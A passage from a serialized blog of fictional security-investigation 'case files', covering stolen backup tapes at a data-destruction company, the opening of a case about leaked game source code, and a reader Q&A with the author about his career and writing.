“I don’t mean to point out the obvious here, boss, but Jonathan appears to either be the most incompetent business owner on earth, or he has a few tassels missing from his bra - so to speak.” Scrap said as he made ‘coo-coo’ images with his hands.

RING

My pseudo-drunken conversation with Scrap was interrupted by a unknown number calling my cellphone.

“Chief.”

I could barely hear the caller due to a lot of background noise.

“Uh, Chief? This is Jose. I can’t lose my job, I have a family to support. I can tell you exactly what you want to know, but you have to go to bat for me with Jonathan.” Jose pleaded on the phone.

My eyes widened. Could this phone conversation with Jose get us out of this doomed assignment?

“Jose, I will do everything I can to promote your cooperation with this investigation with Jonathan. You have my solid word on that.” I replied.

“I appreciate that Chief. I am glad you gave me your business card before you left. I apologize for acting weird while you were here.”

My blood was pumping. “Jose, Jonathan and I found those boxes in the truck just as you said we would. What is on the backup tapes in those boxes that is so important?”

Jose paused.

“Chief, they don’t want what is ON the tapes. They want the TAPES.”

I anxiously awaited the next round of beers.

Source: archived original

Part VIII · Dec 27, 2005

“I. Hate. This. Assignment.” I said as I smacked my forehead into the table.

“Whoa, whoa there big guy. You’re going to spill my beer. So what did Jose tell you?” Scrap asked as he grasped his beer glass with both hands, coddling it as if to prevent losing a drop of the hoppy, golden contents. “Jose gave me some names, but I’m not sure if I quite understand the tale he was weaving on the phone.” I said as I scratched my frazzled hair with a monkey paw.

“Spill it.” Scrap demanded as he lit a cigarette.

“According to our little insider, there are two employees primarily involved. Both of the employees are processors, however one has somehow come into possession of a destroyer’s key. This is clearly against company policy and completely undermines the established chain of custody procedure.” I said in disbelief.

“Nice.” Scrap said as he sipped his beer.

“Oh wait, it gets better! The bar scanner that the processors use to check the boxes in and out of the facility displays the customer name. The processors stack certain company boxes in a specific place. The other boxes are placed into the storage rooms in their inventoried places. The remaining boxes are placed on a morning truck by the processors. One of the processors is an ’early bird’ and gets to work before the others. He meets the driver on the dock, unlocks the truck, unlocks the boxes, locks the truck and the driver drives away!” I exclaimed.

“No. Way.” Scrap said as he accidentally extinguished his cigarette in his beer instead of the ashtray. “Dammit! I hate it when I do that. So what happens to the boxes after they leave the facility?”

I thought for a moment, trying to recollect everything that Jose had shared with me in our phone conversation.

“The driver makes a stop at the other processor’s house and unloads the tapes out of the boxes. The tapes are placed into cardboard boxes in the other processor’s garage. The driver then makes his other stops for the day and returns with the boxes. The boxes go directly from the truck back into the storage rooms.” I said.

“Wait a second. So the inventory controller, Jose, is marking these as being ’en route’ which is Allison Technology language for ‘still on the truck’. This way they don’t appear ‘unaccountable’, right? Friggin’ smooth.” Scrap said with a loud belch.

“Exactly. Jose didn’t have a lot of the details that I was really looking for, but we do have some leads to go on now.” I replied.

“Why do I get the feeling we’ll be snooping around Allison Technologies tomorrow to build this case?” Scrap moaned.

The next morning, Scrap and I returned to Allison Technologies and arranged a short meeting with the office manager, Janelle. Jose was only able to give me first names, which I assumed was because of intimidation or he really didn’t know.

Jonathan had given us carte blanche access to company records, so Janelle sat us down in front of a workstation and access to their employee records system. Ironically, the very software I was navigating through was the same software that Allison had removed from the market years ago.

I searched for all current employees with a first name of “Tomas”, which returned a single record: Tomas Tomason. Tomas had been with the company since the “software days” as Jonathan referred to them. I added the Tomason record to the print queue and proceeded with my next search: Jeffry. A single record was returned.

“Oh this just gets better and better.” I said as I laid my head on the desk.

“What now? What’s the dude’s name?” Scrap asked as he maneuvered behind me for a better look.

Jeffry Allison.

Source: archived original

Part IX · Jan 4, 2006

“Holy canceled bar tab! You think he’s related to Jonathan?” Scrap said as he scratched his eyebrow with a pencil.

“Ya think?” I said as I rolled my eyes. “Janelle? Is Jeffry related to Jonathan Allison?”

Janelle wandered over from her desk and looked at the employee record on my screen. “Oh yes. That is Mr. Allison’s brother. He’s been here forever.”

Scrap quietly chuckled until I fed him an elbow into the ribs.

“Dude, this is pretty messed up right here. So let’s see - you have Jeffry, Tomas, Jose and the unidentified driver all in on this?” Scrap said as he rubbed his bruised rib.

“Yep. I think we need to go old school on this.” I said as I jotted down the names of all TA truck drivers. “And we’re going to need a little professional help.”

Scrap and I excused ourselves outside of the TA building. While Scrap lit a cigarette, I scrolled through phone numbers on my Treo looking for an old, reliable friend named Jon Voyte. Jon was a [[private investigator]] that specialized in [[surveillance]] and had helped me out on several previous cases including The Case Of The Heartless Husband.

I selected Jon’s number on my Treo and listened to it ring a number of times.

“Jon speaking.”

I cleared my throat. “Jon, it’s Chief. Is there anyway you could meet me at Allison Technologies tomorrow evening? I know it’s short notice.”

Jon paused for a moment as he checked his schedule.

“I think I could do that. What’s the gig, and how much?” Jon asked. I could hear the smile on his face.

“Standard fee. We have a real cartoon show here to monitor.” I said as I described the events of the case.

“What a nightmare.” Jon said. “I can deploy all the [[wireless cameras]] you want, and we can place the digital recorder in a vehicle outside. You know me, I can rig anything.”

I laughed. “You don’t have to brag to me. I like the idea of placing the recorder in a vehicle, I’m not sure how safe it would be in the building. You may have to babysit.”

“I’m cool with that. Now let’s talk strategy.” Jon suggested.

An hour later the plan was formed, and Scrap & I decided to prepare for a bit of impromptu surveillance in the morning.

“Do I need to pick up coffee and doughnuts in the morning?” Scrap said with a hearty laugh. “This is straight out of a bad police show.”

“I have you covered. Just bring your camera, and make sure you get some sleep tonight. No late night IRC chatting with babes!” I demanded while waving my cell phone around.

Tomorrow morning was garage sale time.

Source: archived original

Part X · Jan 6, 2006

“What was going through Jonathan Allison’s head? What, indeed!” I thought to myself after waking up the next morning. Jonathan had asked for daily status reports, and I gave him a brief update that lacked a lot of detail.Scrap and I had planned to arrive at Allison Technologies in the early morning hours before any of the employees arrived for work. Our plan was to keep an eye on the ‘morning truck’ and see where it went, who was involved, and accumulate some of the missing pieces of this disastrous case.

I left my hotel room before the sun started it’s long journey up into the sky. After a quick stop at the holy green bean sanctuary and a small bakery, I headed towards Scrap’s apartment. The aroma of freshly brewed java goodness and sugar-encrusted baked goods filled my car.

As I guided my car into the parking lot adjacent to Scrap’s apartment, I noticed that he was waiting for me in the usual spot, his camera bag slung over his shoulder.

“Yo. Doughnuts! Sweet. You ready to do this?” Scrap asked in between bites of chewy glazed doughnut.

“As ready as I’ll ever be. The truck is scheduled to leave at seven o’clock, so we’ll position ourselves across and down the street so we’ll have a good view of the perimeter with the binoculars.” I replied as I began sipping on my coffee cup.

We reached Allison Technologies in record time, and positioned the car with a view behind the building and across the street. No signs of life were present. I manned the binoculars while Scrap checked the battery life of his camera.

“We have movement.” I said as I watched a sedan enter the back gate. I glanced down at the employee records that I had printed out in Janelle’s office. There was no mistaking the driver of the car - it was Jeffry Allison.

Jeffry badged into the back door. Over the next thirty minutes, several other employees parked their cars in the rear parking lot and entered through the back door including Tomas Tomason and one of the registered drivers - Pah Manderson.

Scrap glanced at his watch. “Anytime! Come on guys, let’s get this dog show rolling.”

“Patience, Scrap. This is America. Nobody leaves on time.” I joked as I poured myself another cup of Starbucks goodness from the large brown container.

Moments later, Pah approached the cab of the truck and started up the diesel engine. Jeffry walked to the driver’s door and had a brief conversation with Pah. Scrap was busy taking pictures.

“Ok, here we go.” I said as I watched the AT truck drive down the street. I positioned myself several car lengths back behind the truck.

“Dude, we look like thugs.” Scrap joked. We were both wearing sunglasses, baseball caps and jackets.

I cut Scrap’s joke session short as the AT truck pulled into a residential neighborhood. The truck drove down several blocks and made an abrupt right turn into a cul-de-sac. I drove by the the cul-de-sac and performed a U-turn, placing our vehicle within eyeshot of the back of the AT truck.

“Who the hell is that?” Scrap asked as he snapped more pictures of Pah opening the back of the truck and patting another man on the back. The stranger had wandered out from the garage in a pair of sweats and a baseball cap, cigarette and coffee in hand.

I aimed my binoculars carefully and focused on the stranger’s face. I then rummaged through my pile of employee records from AT.

“Chief, they are pulling boxes.” Scrap said as he continued to snap pictures and adjust the focus on his camera.

I peered through my binoculars to see Pah and the stranger taking several boxes from the back of the AT truck and carrying them into the garage. Once in the garage, the stranger was emptying the tapes from the inside and placing them in large cardboard boxes. The empty boxes were returned to the truck.

“Hmmm. Just as Jose described, right down to the boxes being unlocked!” I mumbled. The stranger followed Pah back to the driver’s side of the truck and had a brief conversation before Pah climbed back into the cab of the truck, waved, and drove around the inside of the cul-de-sac in an attempt to turn the truck around.

“We’re out of here.” I said as I placed the car in reverse and left in the opposite direction. “Did you get pictures of the stranger?” I asked Scrap.

“Did I!” Scrap replied. “Dude, I got pictures of his nasty noise hairs.”

Well, that was too much information.

Several miles down the road I spotted a local coffee shop called “Empty Mug”. Not a very appealing name, but they served coffee.

Scrap and I took up residence at a table outside of the coffee shop. I grabbed us two cups of fresh house blend, and Scrap proceeded to hook up his camera to his laptop.

“Funny - this camera costed me more than the laptop.” Scrap commented as he started the picture import process.

I opened my laptop bag and pulled out my folder of employee records. I stared at the faces, trying to make a mental map of their features.

“Okay boss, here’s your stranger.” Scrap said as he zoomed in on a picture of the stranger having a conversation with Pah.

I looked at the employee records again, dropping most of them on the floor. Scrap began to fidget in his chair.

“Uh, boss. This is impossible, but I swear that’s Tomas Tomason!” Scrap exclaimed.

I raised an eyebrow.

“That is impossible. Tomas checked into work shortly after Jeffry and didn’t leave the building before the truck.” I responded.

It would appear that Tomas had a twin.

Source: archived original

Part XI · Jan 13, 2006

Naps are perhaps one of an investigator’s best friends. Scrap and I had returned to Scrap’s apartment for some much needed rest and relaxation, and were both sound asleep. Well, I was trying to sleep during Scrap’s snoring rendition of “The Overture of 1812”. Scrap had passed out on his couch, while I took up residence in his easy chair.RING

“Now where did I put my cell phone?” I pondered as I searched for the source of the electronic ring.

“Chief.” I said into my treo as I wiped the sleep from my eyes.

“I’m in town. When do you want to do this?” came a familiar voice from the other end of the cellular signal. It was Jon!

“Well, it’s closing in on five o’clock now. Let’s plan to meet at Allison Technologies at eight.” I replied with a quick glance at the “Coyote Ugly” clock on Scrap’s wall.

“Roger that. See you then.” Jon said as he hung up.

I heard a stirring sound from behind me. It appeared that Snoralupicus had awoken.

“I feel like crap.” Scrap moaned as he reached for his water bottle on his coffee table.

“Too much late night IRC?” I joked.

“No, about this whole ‘Tomas’ business, boss. Any theories?” Scrap asked with a swig of water.

I had been giving that very topic a lot of thought, and flipped through the Allison Technologies employee files that I had printed out earlier. A quick glance at Tomas’s file made me smile.

“Tomas’s emergency contact is a ‘Jerry Tomason’.” I read out loud. “Any bets Tomas has a brother?”

Scrap thought for a moment. “Or a same-named lover?”

That’s Scrap, always thinking outside the box.

Eight o’clock came fast, and we were parked outside the rear entrance of Allison Technologies. A white sedan pulled up behind us, and a shadowy figure emerged. Jon had an equipment bag slung over his shoulder, and appeared to have lost his razor.

“Nice beard.” I cracked as we shook hands.

“The wife likes it.” Jon replied with a grin.

We made our way into the building and surveyed the premises with Jon. Jon was making notes in a notepad and taking measurements.

“Here’s my plan.” Jon said, referring to his notes. “I’m going to set up wireless cameras here, here, and here placed covertly in the false ceiling tiles. We’re going to have a ‘birds-eye view’ of the activities that you were concerned about. I’m going to set up a test unit first so we can make sure that our receiver is going to get enough signal.”

“Awesome. What about battery life?” I asked. The units looked very small. I wondered how much power they required?

“We’re covered on battery life for twenty-four hours. I have battery packs for everything, man.” Jon responded in a confident voice. If Jon said we were covered, then I had no doubts.

Scrap wandered down the hallway and sat the receiver on a storage room table. Jonathan Allison had given us permission to take over a storage room as a base of operations, eliminating the need to keep the receiver outside in a vehicle.

“Hey Chief! I can see the top of your monkey head!” Scrap yelled out the door.

Nice.

Jon finished his installations and tests in record time. We had enough storage space on the receiver for forty-eight hours, much more space than we had battery life.

We thanked Jon for his assistance and made plans to recover the equipment before the weekend, in approximately two days. I locked the storage room door with a set of keys that Jonathan Allison had eagerly provided me. Jonathan assured me there were no other keys to this door. I wanted to believe Jonathan, but if experience had taught me anything, I never believed anyone. I removed a roll of clear marking tape from my pocket and created a transparent seal at the top of the door. This tape was similar to “warranty return” tape that one might find on the box of a very expensive piece of electronic equipment. The clear tape had a hard to see insignia pattern printed on it. If the door was opened before our return, it would be quite obvious, and difficult to ‘fix’.

Several hours later Scrap and I were back at Scrap’s apartment writing up our activities for the day.

“Hey, this is interesting.” Scrap said as he scrolled through a web page on his trusty Scraptop.

“What’s that?” I asked, trying to maintain my train of thought.

“You said that Tomas’s ‘brother’ was named Jerry Tomason, right?” Scrap asked.

“Yep. Why?” I queried as my eyes focused squarely on Scrap’s chimp-like face.

“Well, according to Google, Jerry is the owner and operator of a computer salvage company about ten miles away.” Scrap replied as he turned his laptop to face me. “And you’ll never guess what inventory item he seems to have an abundance of?”

Very expensive backup tapes.

Source: archived original

Part XII · Jan 18, 2006

The weekend arrived with haste. Scrap and I had maintained a low profile during the past few days using our time to create necessary case file documentation, and to theorize about our current train wreck of a case.“Come on Chief, he has to know.” Scrap said as he pushed a pile of geek magazines off of a nearby sofa cushion to make room for his monkey behind side.

“Know what? That he has a bunch of scheming freaks working for him?” I retorted as I cracked open a fresh bottle of Starbucks coffee-flavored Frappuccino. “Or that his brother is possibly neck deep in doo-doo?”

“That’s what I’m saying, man. Jonathan is ’the man’ at this company. Nobody can have their head in the sand that deep.” Scrap said with a shake of his long, mop-like hair. “He called you in to be the bad guy and do all the dirty work. It’s like Miami Vice, boss. You’re Sonny, I’m Tubbs and neither one of dress that well.”

I laughed quietly. Perhaps Scrap was on to something.

RING

“Chief.” I said into my cell phone.

“Okay dude, it’s Saturday morning. Are we going in to recover my gear?” Jon said impatiently. I had a feeling Jon’s wife wanted him back home to take care of his “honey do” list.

“You got it. Meet us down there in an hour?” I asked, motioning Scrap to get our gear ready.

“Check. I need to leave shortly after lunch.” Jon said as he hung up.

Apparently Jon was under the impression that I was buying him lunch.

“Did you say something about food?” Scrap said as tossed me my laptop bag.

An hour later we arrived at Allison Technologies to find Jon waiting patiently by his sedan. We marched into the building and approached the storage room where we had left the recording device. I glanced at the doorframe, carefully inspecting my makeshift tamper detector.

It was intact.

I removed the tamper seal, leaving a mess of sticky tape residue on the door’s frame. Jonathan would understand.

We entered the room, and Jon sat down in front of the recorder. He opened his notebook and started taking notes on the current date and time. Jon attached a portable monitor to the recorder and started scrolling through the time lapsed images.

“There.” Jon said as he pointed to the screen and scribbled more notes. “There’s your truck arriving right on time.”

The series of events that we then witnessed were exactly as Jose had described. Tomas and Jeffry assisted Pah in unloading the contents of the truck. Some boxes were sorted into a smaller pile towards the left of the screen, the rest were sorted into a larger pile on the right and scanned with an inventory gun. Jeffry moved the boxes on the right side of the screen into a nearby secure storage room. The boxes on the left side were placed back in the truck.

Jon scrolled through some uninteresting footage until he arrived at Jose in the secure storage room. Jose performed some arbitrary tasks on his workstation, and then walked to the back of the truck. He then proceeded to scan the boxes on the truck, and return to the storage room. For the next ten minutes, Jose worked diligently on his workstation and then appeared to go home.

“How much do you want to bet that if we pull the tag numbers on the boxes in the truck and check their status in the inventory system, they are labeled ’en route’?” I said to Scrap with a wink as I removed my cell phone from its carrying case.

“God I hope you’re ordering lunch.” Scrap joked.

“Nope, I’m calling Jonathan; and I’m about to give him a real upset stomach.” I said.

Coming up: The Conclusion!

Source: archived original

Conclusion · Jan 21, 2006

I could hear his footsteps coming down the hall; rhythmic, squeaky, and filled with anticipation. Jonathan Allison rounded the corner and practically leapt into the storage room that we called headquarters. “Chief, Scrap … I don’t believe that I know this other person.” Jonathan said as he extended his hand to Jon.

“Jon is a surveillance expert. The best I’ve ever worked with.” I said as I inflated Jon’s already enormous ego another ten p.s.i. “Jonathan, Scrap & Jon have some tasks to do. Can we talk in your office?”

“Certainly.” Jonathan replied as he lead the way to his office.

I closed the door to Jonathan’s office behind me and created a butt impression on a nearby leather chair.

“You said this was urgent?” Jonathan asked as he folded his arms neatly on his desk.

“Is anything wrong?”

I shot Jonathan my best poker face, my eyes revealing nothing.

“There’s very clearly something going on here at Allison Technologies. There is an organized effort to steal magnetic backup tapes placed in your care and resell them on the second-hand market.” I began. “And somehow, Jonathan, I think you already knew that.”

Jonathan stared at his desk.

“Perhaps.”

I raised my voice slightly. “And ‘perhaps’ you left out several critical facts from this case, like your brother being an employee?”

Jonathan continued to stare a hole through the desk with his incredible powers of concentration.

“You hired me to investigate the disappearance of company assets. I know who’s involved, I know what assets are being removed from the premises, I think I even understand their business plan. But what I don’t understand is why am I here in the first place?” I asked.

Jonathan peered up at me, obviously aware of his need to ‘come clean’.

“Chief, first off, let me say that I now know why you come so highly recommended. In a matter of a week you figured out a situation that took me months to uncover. However, things are much more complex than you may think.” Jonathan said quietly as he stood up and walked towards the window in his office.

“Jeffry?” I queried.

“Jeffry. Jeffry is my brother. I love my brother, but he’s completely worthless. If it wasn’t for me giving Jeffry jobs and bailing him out of jail in his younger years he’d probably be sharing a cell with a car thief right about now. Jeffry is the youngest sibling I have, Chief. Everyone in my family feels sorry for Jeffry, and respects me for giving him a job. However, when I mentioned to my parents that Jeffry was screwing up again and stealing from me, they became upset and told me to overlook his faults. They told me to transfer him to another job and give him another chance.” Jonathan lamented, his voice full of disgust.

“You didn’t want to be the bad guy in a bad situation. You bring me in as a consultant, and I uncover the great scheme to make money on the side at work.” I said.

“Correct. I could terminate Jeffry and his coworkers and not be the bad guy. Most of Jeffry’s coworkers are friends of his that I hired as a favor to Jeffry.” Jonathan replied.

“What about Jose? Jose was most helpful, and appears to be cooperating with the others out of fear?” I asked Jonathan.

“Jose has worked here a long time, and I know that Jeffry bullies him. Jose has a huge family to support, and Jeffry know that; and he exploits that. He’s a good guy, and I plan on taking care of him.” Jonathan said as he peered out of the window.

I breathed a sigh of relief. Jose had been cooperating with me under the assumption that Jonathan would seek no retribution against him. This was good news.

I suddenly remembered that I should be reviewing my notes on my notepad and actively engaging Jonathan in conversation, rather than daydreaming.

“My team and I have performed a lot of research and field work in the past week. We know that customer tapes are being removed from your trucks and placed in a garage that belongs to Tomas’ brother Jerry. Jerry owns a computer recycling business. My associate, Scrap, visited Jerry’s recycle center yesterday and located one of ten tapes that we had tagged with a dye marker. The tape was one of many that we found in the boxes that we opened in the truck earlier in the week. Careful examination of the tape showed that data from one of your customers was present. We’re talking one serious exposure of customer data.” I said as I flipped through several more pages of notes.

“Yes, you are correct. The guys … they all knew the procedures here well enough that they knew how to safely get around them. They were targeting companies that shipped us almost brand-new high-capacity tapes for destruction. The tapes were typically in a storage rotation of a year’s cycle, from what I could tell. The tapes that they wanted to steal were scanned into the system as received using the driver’s gun, and then Jose would mark them as ’en route’ in the system so they wouldn’t come up missing. The tapes were driven to Jerry’s house, and then the boxes were returned with a few tapes clanging around in the bottom. When the tape boxes came back and were checked back in, the destroyers simply opened the boxes, scanned the remaining tapes in the box, and ran them through the destruction machines. Our system always showed the tapes as destroyed. That’s what made it so hard for me to track down initially.” Jonathan said as he sat back down.

“Well, I can’t say this has been the most entertaining goose chase I’ve ever been on. You have quite the barrel of monkeys here, Jonathan. I hope you have a good attorney on retainer and a strong management team behind you. You have a few customers that aren’t going to be happy when they find out that their backup tapes were being sold as second-hand flea market specials.” I said.

Jonathan was looking more stressed as I spoke.

“However, my team will have a report complete with electronic media delivered to you on Monday afternoon. I’ll send you a bill for the remainder of my fee and expenses.” I said as I got up from my chair and wandered towards the door.

“Thanks for all your hard work.” Jonathan said as sprang from his chair and shook my hand. “I’m sorry I didn’t tell you everything at the beginning of this, but I didn’t know if you’d stick around after you heard the whole story.”

“No worries Jonathan. You and the rest of your management team will have all the ammunition you need in the reports and video files on Monday. Oh, and Jonathan …” I said as I opened the door.

“Yes?” Jonathan asked curiously.

I reached into my pocket and tossed Jonathan the Allison Technologies badge and lanyard that Scrap and I had lifted earlier in the week.

“You might want to give this employee back her badge.”

Scrap and I practically did cartwheels after we left AT for the last time. We were very eager to completely wash our hands of this case. As a very clever reader noted in a comment on our last case file posting, this was a case of family politics. Jeffry was the bad seed, Jonathan wanted to fire him but didn’t want the pressure of being the bad guy.

Jonathan, along with his two attorneys, started a marathon of contacting law enforcement, having Jeffry, Tomas, Pah & Jerry arrested for theft and sale of stolen goods, Jeffry, Tomas & Pah were obviously terminated immediately (Jonathan was careful to delete their badge access), and several law suits were filed against AT by customers over the theft of their tapes and potential information disclosure.

New case file next week!

~ Chief

Source: archived original

18. Case of the Leaky Leaf

Mon, 23 Jan 2006 00:00:00 +0000

Part I · Jan 23, 2006

“Four hundred clams?” I thought as I stared at the price tag of the combination coffee/cappucino machine. I was wandering around a local department store in desperate need of a new coffee machine. I had recently taken a much-deserved break from field work. While I had a lot more time to concentrate on life matters, I was realizing quickly that my bank account was starting to look a little pale.

RING

A quick glance at my cell phone showed me that I had an incoming call from Scrap.

“What the hell do you want?” I joked. “I’m shopping.”

Scrap cleared his throat.

“Boss, you are not going to believe this, but I have a ’live one’ here. I’m two days into my gig here at Treesoft, and this job has exploded into something much, much bigger. I’m going to need your assistance. This isn’t exactly a small video game developer.” Scrap said as he blew cigarette smoke into the mouthpiece of his cell phone. “And you need to get here with a serious quickness.”

I closed my eyes and let out a sigh.

“Scrap, I’d love to help but I have a million things going on, a coffee machine to buy, and I just picked up a new X-box game. I’m booked!” I said as I exited the department store and headed for my vehicle.

“Chief, seriously. You need to get on a plane and meet me here tomorrow.” Scrap begged.

It was not like Scrap to beg like this. Something must be up.

“Okay, you went to Treesoft to meet with the president of the company and do a risk assessment. That’s all I remember. How did this assessment get out of hand?” I asked as I climbed into the driver’s seat of my vehicle.

“Let me put it this way, I spent my first day giving presentations to executives. The second day, I was doing interviews with staff members and my cell phone rings. The president and General Counsel of Treesoft wanted me in a boardroom in ten minutes.” Scrap said, excitement building in his voice.

“And? AND?” I cried as I maneuvered my way onto the freeway. “Out with it man! What happened?”

Scrap inserted a dramatic pause. “Apparently a customer of theirs sent them some disturbing documents that they found on the internet through a Google search. I looked through some of the documents, and it’s everything from company memos to source code!”

“Ah.” I thought to myself, “confidential information flapping in the wind of cyberspace.”

I put on my turn signal and exited the freeway.

“Scrap, are you thinking network penetration? Unhappy employee? Network gnomes? What?” I asked.

“I’m not really sure yet. News of the leaked documents has already hit some gamer news sites. We need to move fast.” Scrap said.

I walked into my house, quickly grabbing my laptop and travel bags.

“I’ll be there tonight. I’ll call you when my plane lands.” I said as I hung up.

With any luck I’d get a seat on the last flight out.

40122-060720-318352-10

Source: archived original

Part II · Jan 25, 2006

“Christmas? No, it was Thanksgiving!” I mumbled quietly to myself shortly after my plane touched down. I was trying to remember the last day that I had actually slept more than four hours in a row.

Sleep is the one luxury that most investigators don’t get a lot of. During the deepest of slumbers, their minds are constantly working cases. “Did I check all of the slack space on that captured drive? Did I interview all of the maintenance staff? Did I zip my pants up before or after I set that last coffee free?”

After carefully locating all of my carryon baggage, I made my way to the airport’s food court. I was in luck; a Starbucks with a chinese food take-out located within fifty feet. After scoring a piping hot cup of java sweetness and a tray of orange chicken, I was on the phone to Scrap.

Well, I would have been on the phone to Scrap if I had brought my spare cell phone battery.

Damn.

I inhaled my chinese food and savored every last drop of my perfect house blend before scampering off to find an electrical outlet to plug my phone in to. I was having no luck until a green-aproned Goddess of the bean stepped in.

“Do you need to plug that phone in, hon?” she asked as she pointed to an empty electrical receptacle behind the Starbucks counter. “Let me hook you up with another coffee.”

Great saints of caffeine, I was saved!

I plugged the A/C adapter into my phone and placed a quick call to Scrap.

“Jeez boss, what took you so long? Your plane landed an hour ago!” Scrap whined. The faint sound of traffic could be heard in the background. “I’ve been circling this airport forever. You know where to meet!”

I thanked my sweet savior one last time with a generous tip in the tip jar and made my way to the arrivals curb.

“YO!” Scrap yelled as he did an impressive power slide into the empty curb in front of me.

Several minutes later we were on the road and headed to Scrap’s hotel.

“Details man. What’s going on?” I asked impatiently.

“You’re going to love this!” Scrap said as he rolled down the window an inch and lit a cigarette. “So, Treesoft has been working on this major new console title for Majorcorp for about year now. Well, one of the reasons I’m doing this risk assessment is because Majorcorp is going to purchase Treesoft.”

I looked unimpressed. “Scrap, everyone knows that Majorcorp is going to buy Treesoft.”

“Wait! I haven’t even gotten to the good stuff yet. A year ago, Treesoft went from two hundred employees to three hundred employees. They started leasing a ton of office space, and they purchased an unreal amount of computing equipment.” Scrap said as he smashed his cigarette butt into the ashtray.

“Good grief. You think they are inflating the company to up the purchase price and the perceived value of the company?” I asked.

Scrap laughed. “Hey, I’m not that smart. I didn’t figure this out. It was in one of the memos that ended up on the internet. So the Treesoft guys are in a panic. They think the deal is going to cave in, and they want answers yesterday.”

“Interesting. So where are you at in your assessment?” I queried as I started taking notes on a fresh notepad.

“I have most of the requested documentation together. They provided that when I walked in the door. I was about a quarter through the interviews when the suits pulled me aside to tell me about the leaked documents. I haven’t had time to do anything else since I called you.” Scrap said. “Now you know why I wanted you out here fast. This is getting uglier than those dancers in Atlanta that spilled beer on me.”

I peered at Scrap through my sleepy eyes. Sometimes I just wanted to hit him.

An hour later, we were camped out in Scrap’s hotel room developing our strategic plan. I took a moment to examine the documents retrieved from a website by some Treesoft customers. The website was a bulk file-sharing website called “FFS” or the “Freak’in Filesharing Site” that had a unique revenue scheme. Anyone could upload a file and get a unique URL to share with potential downloaders. However, the downloaders had to pay a monthly fee or they had to wait two minutes before the download would begin; plus, the download speed was throttled.

The documents were interesting. There were five documents total. Three were plain text files containing large amounts of what appeared to be game source code. The other two documents were Microsoft Word documents containing one Treesoft memo each.

The first memo was from the Treesoft CFO to the ‘Executive Planning Staff’ where he detailed a plan for ‘sudden necessary growth’ and ’necessary capital expenditures’. The second memo was from a project manager to a Vice President describing a dire situation with their upcoming release. Apparently the development team was several months behind in squashing critical bugs.

The plot thickens.

Source: archived original

Discussion of Part II · Mar 29, 2006

Continuing our discussion from Part I of this Q/A session, I answer yet more reader questions!

Hill asks: This may have been answered earlier in your blogs, but I only started reading a few months ago. How do you get into this business? What experiance[sic], training do you have? How did you get started consulting, did you work under a mentor first, like Scrap? I’m all ears. And thanks for such an entertaining read.

Answer: This is the #1 question I am asked in the blog and in e-mail. My adventure in this type of business started just before the internet boom of the mid 90’s. I had always been interested in computers, and have my father to thank for buying me my first personal computer: a Commodore Vic-20! I checked out every book on computer programming from the local library and got to work. Later in life, I continued my passion for computers and electronics through various learning experiences - and had my first run in with ‘unauthorized use of an electronic system’. That’s the nice way of saying that I got busted for gaining entry into a certain organization’s VAX system through a modem and a username/password that they were nice enough to DISPLAY ON THE SCREEN AT LOGIN. Nope, I’m not making that up. Remember - this is a long time ago before computer security was the topic on everyone’s lips.

Fast forward a few years through college, and I’m smack dab in the middle of desert shield/storm as a member of the US Military. Most of my work was in signal intelligence, but I was constantly being pulled away to set up IBM personal computers and ’network the SOB’s together!’ as my first seargent liked to say. It was at this point that I realized how serious computer security was - and, how to investigate unauthorized usage. This knowledge paid off in spades, as I was able to use my knowledge in other realms within the US military / federal service.

Moving the time wheel forward, I’m out of the military and employed with several internet startup companies. Most startups didn’t have security as a line item in their business requirements (or their business plan for that matter). I spent a great deal of time redesigning networks with security in mind, and associating with knowledgeable folks on the internet. I went to every technical certification course I could, and later every security certification course I could afford. During the late 1990’s, these types of certifications paid off nicely.

Consulting is a funny business. I started off doing consulting as a side project, and it eventually took over my life at some point - and strictly on a referral basis. However, constant travel and a heavy workload eventually took it’s toll on my business and personal life. It was at this point that I decided to hand the majority of the consulting business off to associates (like Scrap) and concentrate my work on a single (albeit large) employer.

I had so many mentors through my journey that I couldn’t possibly begin to name them all. I did have one cowboy though who taught me the most important lesson of them all: put your life first, your work second. I encourage you all to read that last part again until it sinks in. =)

I’m sure there will be more details in some sort of a published work eventually …

Michael Boman asks Have you ever thought about having your casefiles produced as hardcopies? I sure wouldn’t mind buying a hardcopy of the best casefiles over a year (for the right price), especially if they were edited to a “Hackers Challenge” kind of format. lulu.com offers on-demand printing so it would not require you to fork up any money up front.

Answer: Are you kidding? I’ve been working on it for what seems like an eternity. Luckily, most of the work that goes into these case files is ’timeless’ so to speak. It’s not like I’m writing a book on Office 2003 or anything. =) The book is a spare time project (remember that whole life before work thing?) and to put all your minds at ease - it’s about 85% done at my last estimation. Publishing, well - that’s a whole other topic. Thanks for the tip on lulu.com.

CBK asks When you’re building a casefile do you start with a goal in mind (exposing wireless security) and pull pieces together or do you start with a case and pull bits and pieces in to flesh it out and add things?

Answer: Excellent question from a very loyal reader (yo!). As I’m sure every monkey knows, my writing is very monkey-formula. I start with pieces of cases scattered everywhere in front of me, and I try to piece things together to do two very important things: (1) Educate the reader and (2) Entertain the reader. Let me tell you, #2 is much harder than #1. I do have a goal that I write towards, and sometimes I actually write backwards (as another reader pointed out to me in e-mail recently). 75% of the work that goes into these case files is continuity checking - making sure that I drop clues at the right parts, and wrap them up at the end. I’ve had several readers ask “Why do you put the surprise stuff in the end like that? How can we solve the case w/o all the data being present?!?”. Well, I’ll be honest. I don’t expect you to - however, it doesn’t stop readers like TuxGirl from doing it on a regular basis. Part of the monkey-formula is pulled right out of the Scooby-Doo cartoon (no, I’m not making that up). One of the things that I loved about Scooby-Doo as a child was that there was always this killer revelation at the end that you couldn’t have possibly picked up through the story. I’m quite sure that the writers did this to make Fred & the gang seem that much smarter. This is not my purpose. I’m just a monkey - I do it for the sheer hope that when the surprise happens, the method being described will stick in your brain, and you’ll pull it out down the road on your own case.

Donathan writes I want to know of a case what went bad for you and/or Scrap. One that you couldn’t solve, one that your findings/techniques were questioned, maybe the perp of the case went after you personally when you caught them. Basically, when all went down the toilet, how did/do you handle it?

